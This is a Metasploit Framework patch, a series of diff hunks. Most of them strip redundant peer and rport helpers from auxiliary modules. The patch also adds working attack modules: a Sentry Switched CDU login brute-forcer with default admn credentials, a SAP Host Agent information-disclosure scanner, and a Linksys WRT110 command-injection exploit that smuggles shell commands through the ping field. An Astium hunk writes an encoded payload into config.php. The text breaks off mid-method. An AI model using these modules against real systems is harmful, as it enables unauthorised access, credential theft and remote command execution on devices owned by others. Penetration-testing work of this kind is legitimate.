||||
|
||||
def run_host(ip)
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
@uri = normalize_uri(target_uri.path)
|
||||
|
||||
@@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
@uri = normalize_uri(target_uri.path)
|
||||
|
||||
@@ -37,11 +37,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def anonymous_access?
|
||||
res = send_request_raw({'uri' => '/'})
|
||||
return true if res and res.body =~ /username = "hpsmh_anonymous"/
|
||||
|
||||
@@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP Version Detection',
|
||||
'Description' => 'Display version information about each system',
|
||||
'Description' => 'Display version information about each system.',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
@@ -29,10 +29,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
tpath = normalize_uri(target_uri.path)
|
||||
if tpath[-1,1] != '/'
|
||||
|
||||
@@ -31,10 +31,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
tpath = normalize_uri(target_uri.path)
|
||||
if tpath[-1,1] != '/'
|
||||
|
||||
@@ -30,10 +30,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def os_fingerprint(response)
|
||||
if not response.headers.has_key?('Server')
|
||||
return "Unkown OS (No Server Header)"
|
||||
|
||||
@@ -56,14 +56,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer(rhost)
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def get_first_session
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.to_s, "index.php"),
|
||||
|
||||
@@ -46,14 +46,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
traversal = "..\\" * datastore['DEPTH']
|
||||
|
||||
@@ -47,14 +47,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>#{datastore['RFILE']}</PATH></RECORD>"
|
||||
|
||||
@@ -32,10 +32,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
File.open(datastore['TARGETURIS'], 'rb').each_line do |line|
|
||||
test_uri = line.chomp
|
||||
|
||||
@@ -37,10 +37,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI'], "/services/listServices"),
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sentry Switched CDU Bruteforce Login Utility',
|
||||
'Description' => %{
|
||||
This module scans for ServerTech's Sentry Switched CDU (Cabinet Power
|
||||
Distribution Unit) web login portals, and performs login brute force
|
||||
to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]),
|
||||
OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_sentry?
|
||||
print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Starting login brute force...")
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# What's the point of running this module if the app actually isn't Sentry
|
||||
#
|
||||
def is_app_sentry?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
return false
|
||||
end
|
||||
|
||||
if (res and res.body.include?("Sentry Switched CDU"))
|
||||
vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
def do_login(user, pass)
|
||||
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/index.html',
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
|
||||
if (res and res.headers['Set-Cookie'])
|
||||
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'ServerTech Sentry Switched CDU',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -51,12 +51,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
|
||||
def auth(username, password, sid, last_login)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
||||
@@ -0,0 +1,382 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Host Agent Information Disclosure',
|
||||
'Description' => %q{
|
||||
This module attempts to retrieve Computer and OS info from Host Agent
|
||||
through the SAP HostControl service.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
['CVE', '2013-3319'],
|
||||
['OSVDB', '95616'],
|
||||
['BID', '61402'],
|
||||
['URL', 'https://service.sap.com/sap/support/notes/1816536'],
|
||||
['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1128)
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([1128])
|
||||
|
||||
|
||||
end
|
||||
|
||||
def initialize_tables
|
||||
|
||||
@computer_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Computer Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Names",
|
||||
"Hostnames",
|
||||
"IPAddresses"
|
||||
])
|
||||
|
||||
@os_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote OS Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Name",
|
||||
"Type",
|
||||
"Version",
|
||||
"TotalMemSize",
|
||||
"Load Avg 1m",
|
||||
"Load Avg 5m",
|
||||
"Load Avg 15m",
|
||||
"CPUs",
|
||||
"CPU User",
|
||||
"CPU Sys",
|
||||
"CPU Idle"
|
||||
])
|
||||
@net_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Network Port Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"ID",
|
||||
"PacketsIn",
|
||||
"PacketsOut",
|
||||
"ErrorsIn",
|
||||
"ErrorsOut",
|
||||
"Collisions"
|
||||
])
|
||||
|
||||
@process_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Process Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Name",
|
||||
"PID",
|
||||
"Username",
|
||||
"Priority",
|
||||
"Size",
|
||||
"Pages",
|
||||
"CPU",
|
||||
"CPU Time",
|
||||
"Command"
|
||||
])
|
||||
|
||||
@fs_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Filesystem Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Name",
|
||||
"Size",
|
||||
"Available",
|
||||
"Remote"
|
||||
])
|
||||
|
||||
@net_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Network Port Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"ID",
|
||||
"PacketsIn",
|
||||
"PacketsOut",
|
||||
"ErrorsIn",
|
||||
"ErrorsOut",
|
||||
"Collisions"
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
# Parses an array of mProperties elements. For every mProperties element,
|
||||
# if there is an item with mValue ITSAMComputerSystem, then collect the
|
||||
# values for the items with mName in (Name, Hostnames, IPAdresses)
|
||||
def parse_computer_info(data)
|
||||
success = false
|
||||
data.each do |properties|
|
||||
name, hostnames, addresses = ""
|
||||
|
||||
if properties.get_elements("item//mValue[text()=\"ITSAMComputerSystem\"]").empty?
|
||||
next
|
||||
end
|
||||
|
||||
item_list = properties.get_elements("item")
|
||||
item_list.each do |item|
|
||||
item_name = item.get_elements("mName").first.text
|
||||
item_value = item.get_elements("mValue").first.text
|
||||
|
||||
case item_name
|
||||
when "Name"
|
||||
name = item_value
|
||||
when "Hostnames"
|
||||
hostnames = item_value
|
||||
when "IPAdresses"
|
||||
addresses = item_value
|
||||
end
|
||||
end
|
||||
|
||||
@computer_table << [name, hostnames, addresses]
|
||||
|
||||
success = true
|
||||
end
|
||||
|
||||
return success
|
||||
end
|
||||
|
||||
# Get the mValues of every item
|
||||
def parse_values(data, ignore)
|
||||
values = []
|
||||
|
||||
item_list = data.get_elements("item")
|
||||
item_list.each do |item|
|
||||
value_item = item.get_elements("mValue")
|
||||
|
||||
if value_item.empty?
|
||||
value = ""
|
||||
else
|
||||
value = value_item.first.text
|
||||
end
|
||||
|
||||
if value == ignore
|
||||
next
|
||||
end
|
||||
|
||||
values << value
|
||||
end
|
||||
return values
|
||||
end
|
||||
|
||||
# Parses an array of mProperties elements and get the interesting info
|
||||
# including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and
|
||||
# ITSAMNetworkPort properties.
|
||||
def parse_detailed_info(data)
|
||||
data.each do |properties|
|
||||
if not properties.get_elements("item//mValue[text()=\"ITSAMOperatingSystem\"]").empty?
|
||||
values = parse_values(properties, "ITSAMOperatingSystem")
|
||||
parse_os_info(values)
|
||||
end
|
||||
|
||||
if not properties.get_elements("item//mValue[text()=\"ITSAMOSProcess\"]").empty?
|
||||
values = parse_values(properties, "ITSAMOSProcess")
|
||||
parse_process_info(values)
|
||||
end
|
||||
|
||||
if not properties.get_elements("item//mValue[text()=\"ITSAMFileSystem\"]").empty?
|
||||
values = parse_values(properties, "ITSAMFileSystem")
|
||||
parse_fs_info(values)
|
||||
end
|
||||
|
||||
if not properties.get_elements("item//mValue[text()=\"ITSAMNetworkPort\"]").empty?
|
||||
values = parse_values(properties, "ITSAMNetworkPort")
|
||||
parse_net_info(values)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_os_info(os_info)
|
||||
@os_table << [
|
||||
os_info[0], # OS name
|
||||
os_info[1], # OS type
|
||||
os_info[2], # OS Version
|
||||
os_info[7], # Total Memory
|
||||
os_info[11], # Load Average (1m)
|
||||
os_info[12], # Load Average (5m)
|
||||
os_info[13], # Load Average (15m)
|
||||
os_info[17], # Number of CPUs / Cores
|
||||
os_info[18]+'%', # CPU usage (User)
|
||||
os_info[19]+'%', # CPU usage (system)
|
||||
os_info[20]+'%' # CPU idle
|
||||
]
|
||||
end
|
||||
|
||||
def parse_process_info(process_info)
|
||||
@process_table << [
|
||||
process_info[0], # Process name
|
||||
process_info[1], # PID
|
||||
process_info[2], # Username
|
||||
process_info[3], # Priority
|
||||
process_info[4], # Mem size
|
||||
process_info[5], # pages
|
||||
process_info[6]+'%', # CPU usage
|
||||
process_info[7], # CPU time
|
||||
process_info[8] # Command
|
||||
]
|
||||
end
|
||||
|
||||
def parse_fs_info(fs_info)
|
||||
@fs_table << [
|
||||
fs_info[0], # Filesystem Name
|
||||
fs_info[2], # Size
|
||||
fs_info[3], # Space Available
|
||||
fs_info[6] # Is the filesystem remote ?
|
||||
]
|
||||
end
|
||||
|
||||
def parse_net_info(net_info)
|
||||
@net_table << [
|
||||
net_info[0], # Network Device ID
|
||||
net_info[1], # Packets In
|
||||
net_info[2], # Packets Out
|
||||
net_info[3], # Errors In
|
||||
net_info[4], # Errors Out
|
||||
net_info[5] # Collisions
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
def run_host(rhost)
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service")
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>'
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"'
|
||||
data << 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">'
|
||||
data << '<SOAP-ENV:Header><sapsess:Session xlmns:sapsess="http://www.sap.com/webas/630/soap/features/session/">'
|
||||
data << '<enableSession>true</enableSession></sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>'
|
||||
data << '<ns1:GetComputerSystem xmlns:ns1="urn:SAPHostControl"><aArguments><item>'
|
||||
data << '<mKey>provider</mKey><mValue>saposcol</mValue></item></aArguments></ns1:GetComputerSystem>'
|
||||
data << "</SOAP-ENV:Body></SOAP-ENV:Envelope>\r\n\r\n"
|
||||
|
||||
begin
|
||||
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => "/",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
})
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Unable to connect to service")
|
||||
return
|
||||
end
|
||||
|
||||
if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = $1.strip
|
||||
vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}")
|
||||
return
|
||||
|
||||
elsif res and res.code != 200
|
||||
vprint_error("#{rhost}:#{rport} - Error in response")
|
||||
return
|
||||
end
|
||||
|
||||
initialize_tables()
|
||||
|
||||
vprint_good("#{rhost}:#{rport} - Connected. Retrieving info")
|
||||
|
||||
begin
|
||||
response_xml = REXML::Document.new(res.body)
|
||||
computer_info = response_xml.elements.to_a("//mProperties/") # Computer info
|
||||
detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info
|
||||
rescue
|
||||
print_error("#{rhost}:#{rport} - Unable to parse XML response")
|
||||
return
|
||||
end
|
||||
|
||||
success = parse_computer_info(computer_info)
|
||||
if success
|
||||
print_good("#{rhost}:#{rport} - Information retrieved successfully")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - Unable to parse reply")
|
||||
return
|
||||
end
|
||||
|
||||
# assume that if we can parse the first part, it is a valid SAP XML response
|
||||
parse_detailed_info(detailed_info)
|
||||
|
||||
sap_tables_clean = ''
|
||||
|
||||
[@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t|
|
||||
sap_tables_clean << t.to_s
|
||||
end
|
||||
|
||||
vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean)
|
||||
|
||||
xml_raw = store_loot(
|
||||
"sap.getcomputersystem",
|
||||
"text/xml",
|
||||
rhost,
|
||||
res.body,
|
||||
"sap_getcomputersystem.xml",
|
||||
"SAP GetComputerSystem XML"
|
||||
)
|
||||
|
||||
xml_parsed = store_loot(
|
||||
"sap.getcomputersystem",
|
||||
"text/plain",
|
||||
rhost,
|
||||
sap_tables_clean,
|
||||
"sap_getcomputersystem.txt",
|
||||
"SAP GetComputerSystem XML"
|
||||
)
|
||||
|
||||
print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)")
|
||||
|
||||
end
|
||||
end
|
||||
@@ -35,10 +35,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -47,10 +47,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -41,10 +41,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -39,10 +39,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -40,10 +40,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI']),
|
||||
|
||||
@@ -47,10 +47,6 @@ class Metasploit4 < Msf::Auxiliary
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/",
|
||||
|
||||
@@ -39,9 +39,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '1999-0506'], # Weak password
|
||||
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'DB_ALL_CREDS' => false,
|
||||
'BLANK_PASSWORDS' => false,
|
||||
'USER_AS_PASS' => false
|
||||
}
|
||||
)
|
||||
deregister_options('RHOST','USERNAME','PASSWORD')
|
||||
|
||||
|
||||
@@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
].pack("V*")
|
||||
},
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Platform' => %w{ osx },
|
||||
'Targets' =>
|
||||
[
|
||||
|
||||
|
||||
@@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
},
|
||||
},
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'Platform' => %w{ osx },
|
||||
'Targets' =>
|
||||
[
|
||||
|
||||
|
||||
@@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');"
|
||||
# Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root,
|
||||
# else during the config reload it might happen that an extra shell is spawned as the apache user.
|
||||
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
|
||||
phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");"
|
||||
phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');"
|
||||
phppayload << "fwrite($f, $orig . \"<?php if (posix_getuid() == 0) {\" . $replacement . \"} ?>\");"
|
||||
phppayload << "fclose($f);"
|
||||
@@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
}, 120)
|
||||
|
||||
# If we don't get a 200 when we request our malicious payload, we suspect
|
||||
# we don't have a shell, either.
|
||||
# we don't have a shell, either.
|
||||
if res and res.code != 200
|
||||
print_error("#{peer} - Unexpected response...")
|
||||
end
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linksys WRT110 Remote Command Execution',
|
||||
'Description' => %q{
|
||||
The Linksys WRT110 consumer router is vulnerable to a command injection
|
||||
exploit in the ping field of the web interface.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Craig Young', # Vulnerability discovery
|
||||
'joev', # msf module
|
||||
'juan vazquez' # module help + echo cmd stager
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-3568'],
|
||||
['BID', '61151'],
|
||||
['URL', 'http://seclists.org/bugtraq/2013/Jul/78']
|
||||
],
|
||||
'DisclosureDate' => 'Jul 12 2013',
|
||||
'Privileged' => true,
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux mipsel Payload', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']),
|
||||
OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']),
|
||||
OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']),
|
||||
OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/HNAP1/'
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
test_login
|
||||
|
||||
execute_cmdstager
|
||||
end
|
||||
|
||||
# Sends an HTTP request with authorization header to the router
|
||||
# Raises an exception unless the login is successful
|
||||
def test_login
|
||||
print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}")
|
||||
|
||||
res = send_auth_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if not res or res.code == 401 or res.code == 404
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}")
|
||||
end
|
||||
end
|
||||
|
||||
# Run the command on the router
|
||||
def execute_command(cmd, opts)
|
||||
send_auth_request_cgi({
|
||||
'uri' => '/ping.cgi',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'pingstr' => '& ' + cmd
|
||||
}
|
||||
})
|
||||
|
||||
Rex.sleep(1) # Give the device a second
|
||||
end
|
||||
|
||||
# Helper methods
|
||||
def user; datastore['USERNAME']; end
|
||||
def pass; datastore['PASSWORD'] || ''; end
|
||||
|
||||
def send_auth_request_cgi(opts={}, timeout=nil)
|
||||
timeout ||= datastore['TIMEOUT']
|
||||
